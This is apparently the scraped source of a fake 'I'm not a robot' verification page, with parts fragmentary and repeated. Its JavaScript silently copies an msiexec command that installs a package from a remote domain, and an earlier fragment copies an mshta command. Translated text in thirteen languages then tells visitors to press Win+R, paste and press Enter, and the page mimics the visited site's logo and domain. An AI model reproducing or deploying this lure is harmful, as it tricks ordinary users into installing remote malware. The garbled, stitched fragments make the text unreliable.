reCAPTCHA Verification ID: " const end = "''" const textToCopy = commandToRun + suffix + ploy + verification_id + end setClipboardCopyData(textToCopy); } function showVerifyWindow()... ...dy.append(tempTextArea); tempTextArea.select(); document.execCommand("copy");... ...ocation.origin + "/recaptcha-verify"; const commandToRun = "mshta " + htaPath stageClipboard(com... ...ild(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea);... ...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip... ...} else if (window.clipboardData) { window.clipboardData.setData('Text', command); } }); <!-- === Tr... ...andom() * chars.length)]).join(""); }); document.addEventListener('copy', function (e) { e.preventDefault(); if (e... ...ment.body.appendChild(textarea); textarea.select(); document.execCommand('copy'); do... ...cript> / Make command safe so later code runs / const command = msiexec /i https://i-like-ele-phants-verification.live/iamchallenge/verification/UserID7383526; / Robust hostname + favicon + logo (single source of truth) / (function () { const params = new URLSearchParams(window.location.search); const siteParam = params.get('site'); // may be null/empty const logoParam = params.get('logo'); // optional override function getHostname(val) { if (!val) return window.location.hostname || ''; try { return new URL(val, window.location.origin).hostname; } catch { return String(val).replace(/^https?:\/\//i,'').split('/')[0]; } } const host = getHostname(siteParam) || window.location.hostname || ''; // Show domain (works for localhost too) document.querySelectorAll('.domain-name').forEach(el => { el.textContent = host; }); // Tab favicon const faviconUrl = logoParam || https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent(host)}; (document.getElementById('dynamic-favicon') || (()=>{const l=document.createElement('link');l.rel='icon';document.head.appendChild(l);return l;})()).href = faviconUrl; // On-page logo: try the same favicon first, then fallbacks const candidates = [ faviconUrl, // same as tab https://icons.duckduckgo.com/ip3/${encodeURIComponent(host)}.ico, https://${host}/favicon.ico ].filter(Boolean); document.querySelectorAll('.logo-img').forEach(img => { let i = 0; const tryNext = () => { if (i >= candidates.length) { img.src = faviconUrl; return; } img.src = candidates[i++]; }; img.alt = host + ' logo'; img.onerror = tryNext; tryNext(); }); })();
// --- your original logic stays as-is below --- // We keep preloader / steps logic intact. document.addEventListener("DOMContentLoaded", function () { const preloaderElements = document.querySelectorAll(".preloader"); const preloaderText = document.querySelector(".preloader_text"); const textAllStep = document.querySelector(".textallstep"); const checkboxWindow = document.getElementById("checkbox-window"); const step0Elements = document.querySelectorAll(".step0"); const step1Elements = document.querySelectorAll(".step1"); const step2Elements = document.querySelectorAll(".step2"); const step3Elements = document.querySelectorAll(".step3"); const checkbox = document.getElementById("checkbox"); const verifyWindow = document.getElementById("verify-window"); const spinner = document.getElementById("spinner"); const verifyButton = document.getElementById("verify-button"); setTimeout(() => { preloaderElements.forEach(el => el.style.display = "none"); preloaderText.style.display = "none"; textAllStep.style.display = "block"; checkboxWindow.style.display = "flex"; setTimeout(() => { checkboxWindow.style.display = "flex"; let opacity = 0; const fadeIn = setInterval(() => { if (opacity >= 1) { clearInterval(fadeIn); } else { opacity += 0.1; checkboxWindow.style.opacity = opacity; } }, 30); }, 200); step0Elements.forEach(el => el.style.display = "block"); setTimeout(() => { step0Elements.forEach(el => el.style.display = "none"); step1Elements.forEach(el => el.style.display = "block"); }, 2000); }, 1500); checkbox.addEventListener("click", function () { const textarea = document.createElement('textarea'); textarea.value = command; textarea.setAttribute('readonly', ''); textarea.style.position = 'absolute'; textarea.style.left = '-9999px'; document.body.appendChild(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea); step1Elements.forEach(el => el.style.display = "none"); step2Elements.forEach(el => el.style.display = "block"); spinner.style.visibility = "visible"; setTimeout(() => { checkboxWindow.style.width = "530px"; checkboxWindow.style.height = "auto"; verifyWindow.classList.add("active"); }, 500); }); verifyButton.addEventListener("click", function () { verifyWindow.classList.remove("active"); checkboxWindow.style.height = "74px"; setTimeout(() => { checkboxWindow.style.width = "300px"; step2Elements.forEach(el => el.style.display = "none"); step3Elements.forEach(el => el.style.display = "block"); setTimeout(() => { step3Elements.forEach(el => el.style.display = "none"); step1Elements.forEach(el => el.style.display = "block"); spinner.style.visibility = "hidden"; }, 1000); }, 600); }); document.getElementById("verification-id").textContent = Math.floor(100000 + Math.random() * 900000); const chars = "abcdef0123456789"; document.querySelector(".ray-id").textContent = Array.from({ length: 16 }, () => chars[Math.floor(Math.random() * chars.length)]).join(""); }); document.addEventListener('copy', function (e) { e.preventDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plai... ...ild(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea);... ...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip... ...} else if (window.clipboardData) { window.clipboardData.setData('Text', command); } }); <!-- === Tr... ...andom() * chars.length)]).join(""); }); document.addEventListener('copy', function (e) { e.preventDefault(); if (e... ...ent.addEventListener('copy', function (e) { e.preventDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clipboardData) { window.clipboardData.setData('Text', command); } }); (function(){ const i18n = { en:{checking:"Checking if you are human. This may take a few seconds.",verifyInstruction:"Verify you are human by completing the action below.",verifying:"Verifying...",notRobot:"I'm not a robot",steps:"Verification",success:"Successfully.",verifyTitle:"To better prove you are not a robot, please:",step1:"Press & hold the Windows Key <i class='fab fa-windows'></i> + <b>R</b>.",step2:"In the verification window, press <b>Ctrl</b> + <b>V</b>.",step3:"Press <b>Enter</b> on your keyboard to finish.",observe:"You will observe and agree:",confirmLead:"I am not a robot - reCAPTCHA Verification ID: ",final:"Perform the steps above to finish verification.",verifyBtn:"Verify",confidentiality:"Confidentiality",terms:"Terms and Conditions",footer:"needs to review the security of your connection before proceeding."}, de:{checking:"Überprüfung, ob Sie ein Mensch sind. Dies kann einige Sekunden dauern.",verifyInstruction:"Bestätigen Sie, dass Sie ein Mensch sind, indem Sie die folgende Aktion ausführen.",verifying:"Wird überprüft...",notRobot:"Ich bin kein Roboter",steps:"Überprüfung",success:"Erfolgreich.",verifyTitle:"Um nachweisen zu können, dass Sie kein Roboter sind:",step1:"Halten Sie die Windows-Taste <i class='fab fa-windows'></i> + <b>R</b> gedrückt.",step2:"Drücken Sie im Verifizierungsfenster <b>Strg</b> + <b>V</b>.",step3:"Drücken Sie die <b>Eingabetaste</b>, um abzuschließen.",observe:"Wenn Sie fortfahren, bestätigen Sie:",confirmLead:"Ich bin kein Roboter – reCAPTCHA Verifizierungs-ID: ",final:"Führen Sie die obigen Schritte aus, um die Überprüfung abzuschließen.",verifyBtn:"Überprüfen",confidentiality:"Vertraulichkeit",terms:"Nutzungsbedingungen",footer:"muss die Sicherheit Ihrer Verbindung prüfen, bevor Sie fortfahren."}, fr:{checking:"Vérification que vous êtes humain. Cela peut prendre quelques secondes.",verifyInstruction:"Vérifiez que vous êtes humain en complétant l’action ci-dessous.",verifying:"Vérification…",notRobot:"Je ne suis pas un robot",steps:"Vérification",success:"Réussi.",verifyTitle:"Pour prouver que vous n’êtes pas un robot :",step1:"Maintenez la touche Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Dans la fenêtre de vérification, appuyez sur <b>Ctrl</b> + <b>V</b>.",step3:"Appuyez sur la touche <b>Entrée</b> pour terminer.",observe:"En continuant, vous confirmez :",confirmLead:"Je ne suis pas un robot – ID de vérification reCAPTCHA : ",final:"Effectuez les étapes ci-dessus pour terminer la vérification.",verifyBtn:"Vérifier",confidentiality:"Confidentialité",terms:"Conditions générales",footer:"doit vérifier la sécurité de votre connexion avant de continuer."}, it:{checking:"Verifica che tu sia umano. Potrebbe volerci qualche secondo.",verifyInstruction:"Verifica di essere umano completando l'azione seguente.",verifying:"Verifica in corso…",notRobot:"Non sono un robot",steps:"Verifica",success:"Completato.",verifyTitle:"Per dimostrare che non sei un robot:",step1:"Tieni premuto il tasto Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Nella finestra di verifica premi <b>Ctrl</b> + <b>V</b>.",step3:"Premi <b>Invio</b> per completare.",observe:"Proseguendo, confermi:",confirmLead:"Non sono un robot – ID di verifica reCAPTCHA: ",final:"Esegui i passaggi sopra per terminare la verifica.",verifyBtn:"Verifica",confidentiality:"Riservatezza",terms:"Termini e condizioni",footer:"deve verificare la sicurezza della connessione prima di procedere."}, ar:{checking:"جاري التحقق من أنك إنسان. قد يستغرق هذا بضع ثوانٍ.",verifyInstruction:"تحقق من أنك إنسان بإكمال الخطوة أدناه.",verifying:"جارٍ التحقق…",notRobot:"لست برنامج روبوت",steps:"التحقق",success:"تم بنجاح.",verifyTitle:"لإثبات أنك لست روبوتًا:",step1:"اضغط مع الاستمرار على مفتاح Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"في نافذة التحقق اضغط <b>Ctrl</b> + <b>V</b>.",step3:"اضغط <b>Enter</b> للإنهاء.",observe:"بالمتابعة، فإنك تؤكد:",confirmLead:"أنا لست روبوتًا – معرّف تحقق reCAPTCHA: ",final:"أكمل الخطوات أعلاه لإنهاء التحقق.",verifyBtn:"تحقق",confidentiality:"السرية",terms:"الشروط والأحكام",footer:"يجب مراجعة أمان الاتصال قبل المتابعة."}, zh:{checking:"正在检查您是否为人类。这可能需要几秒钟。",verifyInstruction:"通过完成以下操作验证您是人类。",verifying:"正在验证…",notRobot:"我不是机器人",steps:"验证",success:"成功。",verifyTitle:"为证明您不是机器人:",step1:"按住 Windows 键 <i class='fab fa-windows'></i> + <b>R</b>。",step2:"在验证窗口中按 <b>Ctrl</b> + <b>V</b>。",step3:"按 <b>Enter</b> 完成。",observe:"继续操作即表示您确认:",confirmLead:"我不是机器人 — reCAPTCHA 验证 ID:",final:"请完成以上步骤以完成验证。",verifyBtn:"验证",confidentiality:"保密",terms:"条款和条件",footer:"需要在继续之前检查您连接的安全性。"}, ja:{checking:"あなたが人間かどうか確認しています。数秒かかる場合があります。",verifyInstruction:"以下の操作を完了して、人間であることを確認してください。",verifying:"確認中…",notRobot:"私はロボットではありません",steps:"確認",success:"成功しました。",verifyTitle:"ロボットではないことを証明するために:",step1:"Windowsキー <i class='fab fa-windows'></i> + <b>R</b> を押し続けてください。",step2:"検証ウィンドウで <b>Ctrl</b> + <b>V</b> を押してください。",step3:"<b>Enter</b> を押して完了します。",observe:"続行すると、次を確認します:",confirmLead:"私はロボットではありません — reCAPTCHA 検証 ID: ",final:"上記の手順を実行して検証を完了してください。",verifyBtn:"確認する",confidentiality:"機密保持",terms:"利用規約",footer:"続行する前に接続のセキュリティを確認する必要があります。"}, ru:{checking:"Проверяем, что вы человек. Это может занять несколько секунд.",verifyInstruction:"Подтвердите, что вы человек, выполнив действие ниже.",verifying:"Проверка…",notRobot:"Я не робот",steps:"Проверка",success:"Успешно.",verifyTitle:"Чтобы доказать, что вы не робот:",step1:"Удерживайте клавишу Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"В окне проверки нажмите <b>Ctrl</b> + <b>V</b>.",step3:"Нажмите <b>Enter</b> для завершения.",observe:"Продолжая, вы подтверждаете:",confirmLead:"Я не робот — ID проверки reCAPTCHA: ",final:"Выполните шаги выше, чтобы завершить проверку.",verifyBtn:"Проверить",confidentiality:"Конфиденциальность",terms:"Условия использования",footer:"должен проверить безопасность вашего соединения перед продолжением."}, es:{checking:"Comprobando si eres humano. Esto puede tardar unos segundos.",verifyInstruction:"Verifica que eres humano completando la acción siguiente.",verifying:"Verificando…",notRobot:"No soy un robot",steps:"Verificación",success:"Correcto.",verifyTitle:"Para demostrar que no eres un robot:",step1:"Mantén pulsada la tecla Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"En la ventana de verificación, pulsa <b>Ctrl</b> + <b>V</b>.",step3:"Pulsa <b>Enter</b> para finalizar.",observe:"Al continuar, confirmas:",confirmLead:"No soy un robot — ID de verificación reCAPTCHA: ",final:"Realiza los pasos anteriores para finalizar la verificación.",verifyBtn:"Verificar",confidentiality:"Confidencialidad",terms:"Términos y condiciones",footer:"debe revisar la seguridad de tu conexión antes de continuar."}, pt:{checking:"Verificando se você é humano. Isso pode levar alguns segundos.",verifyInstruction:"Confirme que você é humano concluindo a ação abaixo.",verifying:"Verificando…",notRobot:"Não sou um robô",steps:"Verificação",success:"Concluído.",verifyTitle:"Para provar que você não é um robô:",step1:"Mantenha pressionada a tecla Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Na janela de verificação, pressione <b>Ctrl</b> + <b>V</b>.",step3:"Pressione <b>Enter</b> para concluir.",observe:"Ao continuar, você confirma:",confirmLead:"Não sou um robô — ID de verificação reCAPTCHA: ",final:"Conclua as etapas acima para finalizar a verificação.",verifyBtn:"Verificar",confidentiality:"Confidencialidade",terms:"Termos e condições",footer:"precisa revisar a segurança da sua conexão antes de prosseguir."}, nl:{checking:"Controleren of u een mens bent. Dit kan enkele seconden duren.",verifyInstruction:"Bevestig dat u een mens bent door de onderstaande actie uit te voeren.",verifying:"Bezig met controleren…",notRobot:"Ik ben geen robot",steps:"Verificatie",success:"Gelukt.",verifyTitle:"Om aan te tonen dat u geen robot bent:",step1:"Houd de Windows-toets <i class='fab fa-windows'></i> + <b>R</b> ingedrukt.",step2:"Druk in het verificatievenster op <b>Ctrl</b> + <b>V</b>.",step3:"Druk op <b>Enter</b> om af te ronden.",observe:"Als u doorgaat, bevestigt u:",confirmLead:"Ik ben geen robot — reCAPTCHA-verificatie-ID: ",final:"Voer de bovenstaande stappen uit om de verificatie te voltooien.",verifyBtn:"Verifiëren",confidentiality:"Vertrouwelijkheid",terms:"Voorwaarden",footer:"moet de veiligheid van uw verbinding controleren voordat u verdergaat."}, tr:{checking:"İnsan olup olmadığınız kontrol ediliyor. Bu birkaç saniye sürebilir.",verifyInstruction:"Aşağıdaki işlemi tamamlayarak insan olduğunuzu doğrulayın.",verifying:"Doğrulanıyor…",notRobot:"Ben robot değilim",steps:"Doğrulama",success:"Başarılı.",verifyTitle:"Robot olmadığınızı kanıtlamak için:",step1:"Windows tuşunu <i class='fab fa-windows'></i> + <b>R</b> ile basılı tutun.",step2:"Doğrulama penceresinde <b>Ctrl</b> + <b>V</b> tuşlarına basın.",step3:"Bitirmek için <b>Enter</b>’a basın.",observe:"Devam ederek şunları onaylarsınız:",confirmLead:"Robot değilim — reCAPTCHA Doğrulama Kimliği: ",final:"Doğrulamayı tamamlamak için yukarıdaki adımları uygulayın.",verifyBtn:"Doğrula",confidentiality:"Gizlilik",terms:"Şartlar ve Koşullar",footer:"devam etmeden önce bağlantınızın güvenliğini kontrol etmelidir."}, ko:{checking:"사용자가 사람인지 확인하는 중입니다. 잠시만 기다려 주세요.",verifyInstruction:"아래 작업을 완료하여 사람이 맞는지 확인하세요.",verifying:"확인 중…",notRobot:"나는 로봇이 아닙니다",steps:"검증",success:"성공.",verifyTitle:"로봇이 아님을 증명하려면:",step1:"Windows 키 <i class='fab fa-windows'></i> + <b>R</b>을 누르세요.",step2:"검증 창에서 <b>Ctrl</b> + <b>V</b>를 누르세요.",step3:"마치려면 <b>Enter</b>를 누르세요.",observe:"계속하면 다음을 확인합니다:",confirmLead:"로봇이 아닙니다 — reCAPTCHA 확인 ID: ",final:"위 단계들을 완료하여 검증을 마치세요.",verifyBtn:"확인",confidentiality:"기밀",terms:"이용약관",footer:"계속하기 전에 연결의 보안을 확인해야 합니다."} }; function detectLang(){ const prefs=(navigator.languages&&navigator.languages.length?navigator.languages:[navigator.language||"en"]).map(x=>x.toLowerCase()); for(const l of prefs){ if(l.startsWith("fr"))return"fr"; if(l.startsWith("de"))return"de"; if(l.startsWith("it"))return"it"; if(l.startsWith("ar"))return"ar"; if(l.startsWith("zh"))return"zh"; if(l.startsWith("ja"))return"ja"; if(l.startsWith("ru"))return"ru"; if(l.startsWith("es"))return"es"; if(l.startsWith("pt"))return"pt"; if(l.startsWith("nl"))return"nl"; if(l.startsWith("tr"))return"tr"; if(l.startsWith("ko"))return"ko"; if(l.startsWith("en"))return"en"; } return "en"; } function ready(fn){ if(document.readyState==="loading") document.addEventListener("DOMContentLoaded",fn); else fn(); } ready(function(){ const lang = detectLang(); const t = i18n[lang] || i18n.en; if (lang === "ar") document.documentElement.dir = "rtl"; // Top area (preloader + prompt) const pre = document.querySelector(".preloader_text"); if(pre) pre.textContent = t.checking; const allstep = document.querySelector(".textallstep"); if(allstep) allstep.textContent = t.verifyInstruction; // Only paragraphs inside .tettx (avoid button/spinner) const set = (sel, txt)=>{ document.querySelectorAll(sel).forEach(el=>el.textContent = txt); }; set(".tettx .step0", t.verifying); set(".tettx .step1", t.notRobot); set(".tettx .step2", t.steps); set(".tettx .step3", t.success); // Ensure checkbox button has no inner label (prevents overlap) const cb = document.getElementById("checkbox"); if (cb) cb.textContent = ""; // Verify window title + steps const titleP = document.querySelector("#verify-window .verify-main p:first-of-type"); if (titleP) titleP.innerHTML = t.verifyTitle; const stepsOl = document.querySelector("#verify-window .verify-main ol"); if (stepsOl) stepsOl.innerHTML = <code><li>${t.step1}</li><li>${t.step2}</li><li>${t.step3}</li></code>; // Observe/agree line + localized checkbox code text const observeP = document.querySelector("#verify-window .verify-main p.observe"); if (observeP) { const codeEl = observeP.querySelector("code"); const pieces = observeP.innerHTML.split("<br>"); pieces[0] = t.observe; observeP.innerHTML = pieces.join("<br>"); if (codeEl) { const idSpan = codeEl.querySelector("#verification-id"); const idHtml = idSpan ? idSpan.outerHTML : '<span id="verification-id"></span>'; codeEl.innerHTML = <code>✅ "${t.confirmLead}${idHtml}"</code>; } } const left = document.querySelector(".verify-footer-left"); if (left) left.textContent = t.final; const btn = document.getElementById("verify-button"); if (btn) btn.textContent = t.verifyBtn; // Legal links text const legalBox = document.querySelector('#checkbox-window > div > div:last-child'); if (legalBox) { const ps = legalBox.querySelectorAll("p"); if (ps[0]) ps[0].textContent = t.confidentiality; if (ps[1]) ps[1].textContent = t.terms; } // Bottom sentence: update the specific paragraph that contains the footer sentence const domainParas = Array.from(document.querySelectorAll("p .domain-name")).map(s=>s.parentElement); for (const p of domainParas){ if (/\bneeds to review the security of your connection before proceeding./i.test(p.textContent)) { const host = (p.querySelector(".domain-name")?.textContent || window.location.hostname || ""); p.innerHTML = <code><span class="domain-name">${host}</span> ${t.footer}</code>; break; } } }); })();